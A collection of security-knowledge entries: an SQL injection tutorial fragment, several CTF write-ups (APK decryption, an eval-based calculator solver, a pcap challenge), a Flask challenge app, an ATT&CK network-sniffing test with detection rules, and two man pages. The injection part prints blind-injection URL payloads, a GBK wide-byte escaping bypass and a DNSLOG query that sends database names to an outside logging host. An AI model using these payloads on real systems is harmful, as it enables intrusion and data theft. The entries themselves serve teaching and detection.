以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
### SQL注入宽字节注入方式
国内最常使用 GBK 编码,主要是绕过 `addslashes` 等对特殊字符进行转移的绕过。反斜杠 `\` 的十六进制为 `%5c`,在你输入 `%bf%27` 时,函数遇到单引号自动转移加入 `\`,此时变为 `%bf%5c%27`,`%bf%5c` 在 GBK 中变为一个宽字符「縗」。`%bf` 那个位置可以是 `%81-%fe` 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用
### SQL注入DNSLOG注入方式
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
```mysql> use security;
Database changed
mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL |
+-------------------------------------------+
1 row in set (22.05 sec)
mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)
|
sec-knowleage
|
# Guns And Roses Concert Coupon
* Category: Mobile
* 200 points
## Description
> Everyone gives discounts for the Guns N' Roses concert.
> Would you like a brainer ticket?
> Just enter the right coupon.
An APK file was attached.
## Solution
Let's extract the APK file with `jadx`:
```console
┌──(user@kali)-[/media/sf_CTFs/appsec/Guns_And_Roses_Concert_Coupon]
└─$ /home/user/utils/reversing/jadx/bin/jadx -d output app-release.apk
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 2
```
The mail logic of the application can be found under `output/sources/com/challenge/gnr`:
```console
┌──(user@kali)-[/media/sf_CTFs/appsec/Guns_And_Roses_Concert_Coupon]
└─$ ls output/sources/com/challenge/gnr
FirstFragment.java MainActivity.java R.java SecondFragment.java
```
Let's take a look at the `onCreate` method of the main activity:
```java
public final void onCreate(Bundle bundle) {
SharedPreferences.Editor edit = getApplicationContext().getSharedPreferences("ddjxd", 0).edit();
edit.putString(getString(R.string.gkgkkdkdd), getString(R.string.dgsjfjsds));
edit.commit();
super.onCreate(bundle);
View inflate = getLayoutInflater().inflate(R.layout.activity_main, (ViewGroup) null, false);
Toolbar toolbar = (Toolbar) a0.w(inflate, R.id.toolbar);
if (toolbar != null) {
CoordinatorLayout coordinatorLayout = (CoordinatorLayout) inflate;
this.f1978q = new m(coordinatorLayout, toolbar);
setContentView(coordinatorLayout);
p().v((Toolbar) this.f1978q.f683b);
i a4 = t0.a0.a(this);
s h3 = a4.h();
HashSet hashSet = new HashSet();
int i3 = s.f3583q;
hashSet.add(Integer.valueOf(s.a.a(h3).f3577j));
b bVar = new b(hashSet);
this.f1977p = bVar;
a aVar = new a(this, bVar);
a4.f3526p.add(aVar);
c<f> cVar = a4.f3517g;
if (!cVar.isEmpty()) {
f last = cVar.last();
aVar.a(a4, last.f3497d, last.f3498e);
}
SQLiteDatabase writableDatabase = new d1.a(getApplicationContext()).getWritableDatabase();
ContentValues contentValues = new ContentValues();
contentValues.put("title", "welcometothejungle");
contentValues.put("subtitle", "dljJDNHodV4wd1znNjIW8h86++7TA/zlohduLouuD0PMz0pU7xDFdw==");
writableDatabase.insert("entry", null, contentValues);
return;
}
throw new NullPointerException("Missing required view with ID: ".concat(inflate.getResources().getResourceName(R.id.toolbar)));
}
```
It's not very clear what happens here, but the base64 string does leap to the eye. We also notice strange string references such as `R.string.gkgkkdkdd` and `R.string.dgsjfjsds`.
Searching for the former, we find another interesting function under `output/sources/androidx/lifecycle/p.java`:
```java
public final String a(String str) {
Base64.Decoder decoder;
Object obj = this.f1392b;
try {
String a4 = new d.q((Context) obj).a();
((Context) obj).getSharedPreferences("ddjxd", 0);
SecretKeySpec secretKeySpec = new SecretKeySpec(((Context) obj).getString(R.string.gkgkkdkdd).getBytes(), "Blowfish");
byte[] bArr = new byte[0];
if (Build.VERSION.SDK_INT >= 26) {
decoder = Base64.getDecoder();
bArr = decoder.decode(a4);
}
Cipher cipher = Cipher.getInstance("Blowfish");
cipher.init(2, secretKeySpec);
if (!new String(cipher.doFinal(bArr), Charset.forName("UTF-8")).equals(str)) {
return "";
}
return "Welcome To The Jungle!";
} catch (Exception unused) {
return "";
}
}
```
If we take the string values from `output/resources/res/values/strings.xml`, we can try to replicate that logic:
```xml
<string name="dgsjfjsds">kfGgk^sfgkjs@kshfgj!</string>
<string name="gkgkkdkdd">dfHk@s9fl!gjk1dg4gd</string>
<string name="gkjkkdkdd">dfHk@s9fl!gjk1dg4gd</string>
<string name="hgsjfjsds">kfGgk^sfgkjs@kshfgj!</string>
<string name="jsjkdfkaj">kaj1jfkf$dmskjtnnbn</string>
<string name="jsjkjfkaj">kaj1jfkf$dmskjtnnbn</string>
```
We create the following Java program:
```java
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import javax.crypto.Cipher;
import java.nio.charset.Charset;
class Decrypt {
public static void main(String[] args) {
try
{
SecretKeySpec secretKeySpec = new SecretKeySpec("dfHk@s9fl!gjk1dg4gd".getBytes(), "Blowfish");
byte[] bArr = new byte[0];
Base64.Decoder decoder;
decoder = Base64.getDecoder();
bArr = decoder.decode("dljJDNHodV4wd1znNjIW8h86++7TA/zlohduLouuD0PMz0pU7xDFdw==");
Cipher cipher = Cipher.getInstance("Blowfish");
cipher.init(2, secretKeySpec);
System.out.println(new String(cipher.doFinal(bArr), Charset.forName("UTF-8")));
} catch (Exception unused) {
System.out.println(unused);
}
}
}
```
Compile and run it to get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/appsec/Guns_And_Roses_Concert_Coupon]
└─$ javac Decrypt.java
┌──(user@kali)-[/media/sf_CTFs/appsec/Guns_And_Roses_Concert_Coupon]
└─$ java Decrypt
AppSec-IL{3ncr1pt10n_15_n0t_h@5h1ng}
```
|
sec-knowleage
|
'''get image size app'''
# coding=utf-8
import os
from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages
from PIL import Image
from werkzeug.utils import secure_filename
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.secret_key = 'test'
def get_img_size(filepath=""):
'''获取图片长宽'''
try:
img = Image.open(filepath)
img.load()
return img.size
except:
return (0, 0)
def allowed_file(filename):
'''判断文件后缀是否合法'''
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上传app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if not allowed_file(image_file.filename):
flash('File type don\'t allowed')
return redirect(request.url)
if image_file:
filename = secure_filename(image_file.filename)
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
.format(height, width)
return render_template_string('''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")
|
sec-knowleage
|
pvcreate
===
将物理硬盘分区初始化为物理卷
## 补充说明
**pvcreate命令** 用于将物理硬盘分区初始化为物理卷,以便LVM使用。
### 语法
```shell
pvcreate(选项)(参数)
```
### 选项
```shell
-f:强制创建物理卷,不需要用户确认;
-u:指定设备的UUID;
-y:所有的问题都回答“yes”;
-Z:是否利用前4个扇区。
```
### 参数
物理卷:指定要创建的物理卷对应的设备文件名。
### 实例
查看磁盘信息:
```shell
[root@localhost ~]# fdisk -l
Disk /dev/hda: 41.1 GB, 41174138880 bytes
255 heads, 63 sectors/track, 5005 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks id System
/dev/hda1 * 1 13 104391 83 Linux
/dev/hda2 14 1288 10241437+ 83 Linux
/dev/hda3 1289 1925 5116702+ 83 Linux
/dev/hda4 1926 5005 24740100 5 Extended
/dev/hda5 1926 2052 1020096 82 Linux swap / Solaris
/dev/hda6 2053 2235 1469916 8e Linux LVM
/dev/hda7 2236 2418 1469916 8e Linux LVM
/dev/hda8 2419 2601 1469916 8e Linux LVM
/dev/hda9 2602 2784 1469916 8e Linux LVM
```
检查有无 PV 在系统上,然后将`/dev/hda6`到`/dev/hda9`建立成为PV格式
```shell
[root@localhost ~]# pvscan
No matching physical volumes found #找不到任何的 PV 存在!
```
将6-9分区转成pv,注意大括号的用途:
```shell
[root@localhost ~]# pvcreate /dev/hda{6,7,8,9}
Physical volume "/dev/hda6" successfully created
Physical volume "/dev/hda7" successfully created
Physical volume "/dev/hda8" successfully created
Physical volume "/dev/hda9" successfully created
```
这就分別表示每个 PV 的信息与系统所有 PV 的信息:
```shell
[root@localhost ~]# pvscan
PV /dev/hda6 lvm2 [1.40 GB]
PV /dev/hda7 lvm2 [1.40 GB]
PV /dev/hda8 lvm2 [1.40 GB]
PV /dev/hda9 lvm2 [1.40 GB]
Total: 4 [5.61 GB] / in use: 0 [0 ] / in no VG: 4 [5.61 GB]
```
更详细的列示出系统上面每个 PV 信息:
```shell
[root@localhost ~]# pvdisplay
"/dev/hda6" is a new physical volume of "1.40 GB"
--- NEW Physical volume ---
PV Name /dev/hda6 #实际的 partition 分区名称
VG Name #因为尚未分配出去,所以空白!
PV Size 1.40 GB #就是容量说明
Allocatable NO #是否已被分配,结果是 NO
PE Size (KByte) 0 #在此 PV 內的 PE 大小
Total PE 0 #共分割出几个 PE
free PE 0 #沒被 LV 用掉的 PE
Allocated PE 0 #尚可分配出去的 PE 数量
PV UUID Z13Jk5-RCls-UJ8B-HzDa-Gesn-atku-rf2biN
....(底下省略)....
```
删除物理卷:
```shell
[root@localhost ~]# pvremove /dev/sdb2
Labels on physical volume "/dev/sdb2" successfully wiped
```
修改物理卷属性:
```shell
[root@localhost ~]# pvchange -x n /dev/sdb1 #禁止分配指定物理卷上的PE
Physical volume "/dev/sdb1" changed
1 physical volume changed / 0 physical volumes not changed
```
|
sec-knowleage
|
## Calculator (ppc/Programming, 200p)
### PL Version
[click for ENG](#eng-version)
Zadanie polegało na połączeniu się za pomocą NC z podanym serwerem. Serwer podawał na wejściu działania i oczekiwał na ich rozwiązania. Należało rozwiązać kilkadziesiąt przykładów pod rząd aby uzyskać flagę. Działania przychodzące z serwera miały postać:
`eight hundred ninety nine million, one hundred sixty eight thousand eleven - 556226 * ( 576 - 21101236 ) * 948 - ( 29565441 + thirty six ) * 182,745 - 6,124,792 + CMLXXVI - 647 =`
Na co serwer w odpowiedzi oczekiwał na: `11121023402232863`
Zadanie rozwiązaliśmy wykorzystując parser liczb słownych, parser liczb rzymskich oraz pythonową funkcję `eval()`.
Same transformacje są raczej trywialne i łatwie do znalezienia w internecie (cały skrypt [tutaj](calculator.py) ), reszta solvera to:
def solve(data):
fixed = data.replace(",", "") #turn 3,200 into 3200
fixed = " " + fixed #ensure word boundary on the left
romans = re.findall("[^\d=\\-\\+/\\*\\(\\)\s]+", fixed)
for romanNumber in romans:
try:
number = str(fromRoman(romanNumber))
fixed = re.sub(r"\b%s\b" % romanNumber, number, fixed)
except:
pass
literals = re.findall("[^\d=\\-\\+/\\*\\(\\)]+", fixed)
for literal in sorted(literals, key=lambda x: len(x), reverse=True):
if literal != ' ' and literal != "":
try:
number = str(text2int(literal))
fixed = re.sub(r"\b%s\b" % literal.strip(), number, fixed)
except:
pass
return eval(fixed[:-2]) #omit " ="
Czyli w skrócie:
* Usuwamy przecinki będące separatorami tysiąców
* Zamieniamy wszystkie znalezione liczby rzymskie na arabskie
* Zamieniamy wszystkie znalezione literały na liczby arabskie (uwaga: trzeba zamieniać od tych najdłuższych, żeby np. zamiana "one" nie była plikowana do "fifty one")
* Usuwamy znak `=` z końca
* Ewaluujemy wyrażenie
Po kilkudziesieciu przykładach dostajemy: `Congratulations!The flag is TMCTF{U D1D 17!}`
### ENG Version
The challenge was to connect to a server via NC. Server was providing equations and was waiting for their solutions. We had to solve few dozens consecutively in order to get the flag. The equations were for example:
`eight hundred ninety nine million, one hundred sixty eight thousand eleven - 556226 * ( 576 - 21101236 ) * 948 - ( 29565441 + thirty six ) * 182,745 - 6,124,792 + CMLXXVI - 647 =`
And server was expecting a solution: `11121023402232863`
We solved this using literal nubmbers parser, roman numbers parser and python `eval()` function.
The parsers are trivial and easy to find on the internet (whole script [here](calculator.py) ), the rest was:
def solve(data):
fixed = data.replace(",", "") #turn 3,200 into 3200
fixed = " " + fixed #ensure word boundary on the left
romans = re.findall("[^\d=\\-\\+/\\*\\(\\)\s]+", fixed)
for romanNumber in romans:
try:
number = str(fromRoman(romanNumber))
fixed = re.sub(r"\b%s\b" % romanNumber, number, fixed)
except:
pass
literals = re.findall("[^\d=\\-\\+/\\*\\(\\)]+", fixed)
for literal in sorted(literals, key=lambda x: len(x), reverse=True):
if literal != ' ' and literal != "":
try:
number = str(text2int(literal))
fixed = re.sub(r"\b%s\b" % literal.strip(), number, fixed)
except:
pass
return eval(fixed[:-2]) #omit " ="
So in short:
* We remove thousands separator `,`
* We turn all roman numbers into integers
* We turn all literal numbers into integers (notice: you need to replace starting from longest numbers so that for example replacing "one" doesn't affect "fifty one")
* We remove `=` from the end
* We evaluate the expression
After mutiple examples we finally get:`Congratulations!The flag is TMCTF{U D1D 17!}`
|
sec-knowleage
|
# T1040-linux-网络嗅探
## 来自ATT&CK的描述
网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数据。
通过该技术可以捕获的数据包括用户凭证,尤其是通过不安全的未加密协议发送的凭证;网络嗅探还可以获取到配置细节,例如运行服务,版本号以及后续横向移动或防御逃避活动所需的其他网络特征(例如:IP寻址,主机名,VLAN ID)。
## 测试案例
tcpdump -c 5 -nnni #{网卡接口}
tshark -c 5 -i #{网卡接口}
## 检测日志
linux /var/log/message (值得注意的是:Ubuntu下默认不开启message日志,需要手动开启)
## 测试复现
### 场景一
root@icbc:~# tcpdump -c 5 -nnni ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58)
5 packets captured
5 packets received by filter
0 packets dropped by kernel
### 场景二
root@icbc:~# tshark -c 5 -i ens33
Running as user "root" and group "root". This could be dangerous.
Capturing on 'ens33'
1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT
2 0.038532840 Vmware_e8:11:b3 → Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2
3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7
4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT
5 0.039670671 192.168.66.148 → 35.222.85.5 TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128
5 packets captured
## 测试留痕
### 场景1
message日志
Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode
### 场景2
message日志
Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories.
Jul 19 10:47:50 icbc kernel: [ 915.199848] device ens33 left promiscuous mode
Jul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB
## 检测规则/思路
### splunk检测规则
index=linux sourcetype=syslog entered promiscuous mode | table host,message
index=linux sourcetype=syslog left promiscuous mode | table host,message
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1040
<https://attack.mitre.org/techniques/T1040/>
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: pid.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: pid.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH pid 3tcl 7.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
pid \- 检索进程 id
.SH "总览 SYNOPSIS"
\fBpid \fR?\fIfileId\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
如果给出了 \fIfileId\fR 参数,则它应当参照用 \fBopen\fR 命令建立的一个进程管道。在这种情况下 \fBpid\fR 将返回一个列表,其元素依次是在这个管道中的所有进程的进程标识符。如果 \fIfileId\fR 参照到打开文件不是一个过程管道则这个列表为空。如果未给出 \fIfileId\fR 参数,则 \fBpid\fR 返回当前进程的进程标识符。所有进程标识符都作为十进制字符串返回。
.SH "参见 SEE ALSO"
exec(n), open(n)
.SH "关键字 KEYWORDS"
file, pipeline, process identifier
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/10/15
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# WebNet1
Forensics, 450 points
## Description:
> We found this packet capture and key. Recover the flag.
## Solution:
This is the follow-up for [WebNet0](WebNet0.md).
We receive a network capture file:
```console
root@kali:/media/sf_CTFs/pico/WebNet1# tshark -r capture.pcap
Running as user "root" and group "root". This could be dangerous.
1 0.000000 128.237.140.23 → 172.31.22.220 TCP 78 57930 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1386 WS=64 TSval=133587575 TSecr=0 SACK_PERM=1 57930 443
2 0.000031 172.31.22.220 → 128.237.140.23 TCP 74 443 → 57930 [SYN, ACK] Seq=0 Ack=1 Win=26847 [TCP CHECKSUM INCORRECT] Len=0 MSS=8961 SACK_PERM=1 TSval=570160341 TSecr=133587575 WS=128 443 57930
3 0.024621 128.237.140.23 → 172.31.22.220 TCP 78 57940 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1386 WS=64 TSval=133587599 TSecr=0 SACK_PERM=1 57940 443
4 0.024650 172.31.22.220 → 128.237.140.23 TCP 74 443 → 57940 [SYN, ACK] Seq=0 Ack=1 Win=26847 [TCP CHECKSUM INCORRECT] Len=0 MSS=8961 SACK_PERM=1 TSval=570160366 TSecr=133587599 WS=128 443 57940
5 0.025067 128.237.140.23 → 172.31.22.220 TCP 78 57941 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1386 WS=64 TSval=133587599 TSecr=0 SACK_PERM=1 57941 443
6 0.025073 172.31.22.220 → 128.237.140.23 TCP 74 443 → 57941 [SYN, ACK] Seq=0 Ack=1 Win=26847 [TCP CHECKSUM INCORRECT] Len=0 MSS=8961 SACK_PERM=1 TSval=570160366 TSecr=133587599 WS=128 443 57941
7 0.029264 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1 Ack=1 Win=131904 Len=0 TSval=133587603 TSecr=570160341 57930 443
8 0.029774 128.237.140.23 → 172.31.22.220 TLSv1 583 Client Hello 57930 443
9 0.029794 172.31.22.220 → 128.237.140.23 TCP 66 443 → 57930 [ACK] Seq=1 Ack=518 Win=28032 [TCP CHECKSUM INCORRECT] Len=0 TSval=570160371 TSecr=133587603 443 57930
10 0.030173 172.31.22.220 → 128.237.140.23 TLSv1.2 1073 Server Hello, Certificate, Server Hello Done 443 57930
11 0.053963 128.237.140.23 → 172.31.22.220 TCP 66 57940 → 443 [ACK] Seq=1 Ack=1 Win=131904 Len=0 TSval=133587625 TSecr=570160366 57940 443
12 0.054050 128.237.140.23 → 172.31.22.220 TCP 66 57941 → 443 [ACK] Seq=1 Ack=1 Win=131904 Len=0 TSval=133587625 TSecr=570160366 57941 443
13 0.054463 128.237.140.23 → 172.31.22.220 TLSv1 583 Client Hello 57941 443
14 0.054486 172.31.22.220 → 128.237.140.23 TCP 66 443 → 57941 [ACK] Seq=1 Ack=518 Win=28032 [TCP CHECKSUM INCORRECT] Len=0 TSval=570160395 TSecr=133587625 443 57941
15 0.054500 128.237.140.23 → 172.31.22.220 TLSv1 583 Client Hello 57940 443
16 0.054506 172.31.22.220 → 128.237.140.23 TCP 66 443 → 57940 [ACK] Seq=1 Ack=518 Win=28032 [TCP CHECKSUM INCORRECT] Len=0 TSval=570160395 TSecr=133587625 443 57940
17 0.054815 172.31.22.220 → 128.237.140.23 TLSv1.2 1073 Server Hello, Certificate, Server Hello Done 443 57941
18 0.054984 172.31.22.220 → 128.237.140.23 TLSv1.2 1073 Server Hello, Certificate, Server Hello Done 443 57940
19 0.058931 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=518 Ack=1008 Win=130880 Len=0 TSval=133587629 TSecr=570160371 57930 443
20 0.059631 128.237.140.23 → 172.31.22.220 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 57930 443
21 0.061312 172.31.22.220 → 128.237.140.23 TLSv1.2 324 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 443 57930
22 0.071450 128.237.140.23 → 172.31.22.220 TCP 78 57944 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1386 WS=64 TSval=133587639 TSecr=0 SACK_PERM=1 57944 443
23 0.071468 172.31.22.220 → 128.237.140.23 TCP 74 443 → 57944 [SYN, ACK] Seq=0 Ack=1 Win=26847 [TCP CHECKSUM INCORRECT] Len=0 MSS=8961 SACK_PERM=1 TSval=570160412 TSecr=133587639 WS=128 443 57944
24 0.084552 128.237.140.23 → 172.31.22.220 TCP 66 57941 → 443 [ACK] Seq=518 Ack=1008 Win=130880 Len=0 TSval=133587650 TSecr=570160396 57941 443
25 0.084611 128.237.140.23 → 172.31.22.220 TCP 66 57940 → 443 [ACK] Seq=518 Ack=1008 Win=130880 Len=0 TSval=133587650 TSecr=570160396 57940 443
26 0.085416 128.237.140.23 → 172.31.22.220 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 57941 443
27 0.085797 128.237.140.23 → 172.31.22.220 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 57940 443
28 0.086486 172.31.22.220 → 128.237.140.23 TLSv1.2 324 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 443 57941
29 0.087455 172.31.22.220 → 128.237.140.23 TLSv1.2 324 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 443 57940
30 0.092163 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=836 Ack=1266 Win=130752 Len=0 TSval=133587657 TSecr=570160402 57930 443
31 0.101699 128.237.140.23 → 172.31.22.220 TCP 66 57944 → 443 [ACK] Seq=1 Ack=1 Win=131904 Len=0 TSval=133587666 TSecr=570160412 57944 443
32 0.101871 128.237.140.23 → 172.31.22.220 TLSv1 583 Client Hello 57944 443
